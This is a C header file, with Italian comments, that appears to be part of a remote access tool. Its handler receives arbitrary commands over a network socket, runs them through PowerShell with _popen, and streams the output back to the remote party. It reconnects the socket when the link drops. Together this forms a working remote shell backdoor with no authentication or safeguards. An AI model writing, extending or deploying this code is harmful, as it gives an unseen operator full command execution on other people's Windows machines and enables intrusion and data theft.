78 lines
2.2 KiB
C
78 lines
2.2 KiB
C
#ifndef COMMAND_H
|
|
#define COMMAND_H
|
|
|
|
FILE *fp;
|
|
|
|
// Esegui un comando powershell
|
|
void run_powershell_command(uint8_t cmd[], WSADATA* wsa, SOCKET* s) {
|
|
if (!isSocketConnected(*s)) {
|
|
printf("Socket non connesso, impossibile eseguire comando\n");
|
|
return;
|
|
}
|
|
|
|
printf("Esecuzione comando PowerShell: %s\n", cmd);
|
|
|
|
char sendbuffer[4096];
|
|
char command[4096] = "powershell.exe -Command ";
|
|
|
|
strncat(command, (char*)cmd, sizeof(command) - strlen(command) - 1);
|
|
|
|
fp = _popen(command, "r");
|
|
if (fp == NULL) {
|
|
char* error_msg = "Errore nell'avvio di PowerShell";
|
|
sendCommand(wsa, s, error_msg);
|
|
return;
|
|
}
|
|
|
|
while (fgets(sendbuffer, sizeof(sendbuffer), fp) != NULL) {
|
|
// Controlla se il socket è ancora connesso prima di inviare
|
|
if (!isSocketConnected(*s)) {
|
|
printf("Client disconnected during command execution\n");
|
|
break;
|
|
}
|
|
sendCommand(wsa, s, sendbuffer);
|
|
}
|
|
|
|
_pclose(fp);
|
|
|
|
// Invia messaggio di completamento
|
|
if (isSocketConnected(*s)) {
|
|
sendCommand(wsa, s, "[COMMAND_COMPLETED]");
|
|
}
|
|
}
|
|
|
|
void handleCommand(WSADATA* wsa, SOCKET* s, uint8_t cmd[]) {
|
|
// Controlla sempre se il socket è ancora connesso
|
|
if (!isSocketConnected(*s)) {
|
|
printf("Socket disconnesso, impossibile gestire comando\n");
|
|
closesocket(*s);
|
|
WSACleanup();
|
|
InitSocket(wsa, s);
|
|
return;
|
|
}
|
|
|
|
switch (cmd[0]) {
|
|
case 10: // PowerShell
|
|
printf("Comando PowerShell ricevuto\n");
|
|
|
|
if (!isSocketConnected(*s)) {
|
|
printf("Client disconnected before command reception\n");
|
|
return;
|
|
}
|
|
|
|
uint8_t command_buffer[4096] = {0};
|
|
receiveCommand(wsa, s, command_buffer);
|
|
|
|
// Verifica se la ricezione è riuscita e il socket è ancora valido
|
|
if (isSocketConnected(*s) && strlen((char*)command_buffer) > 0) {
|
|
run_powershell_command(command_buffer, wsa, s);
|
|
}
|
|
break;
|
|
|
|
default:
|
|
printf("Comando sconosciuto: %d\n", cmd[0]);
|
|
break;
|
|
}
|
|
}
|
|
|
|
#endif |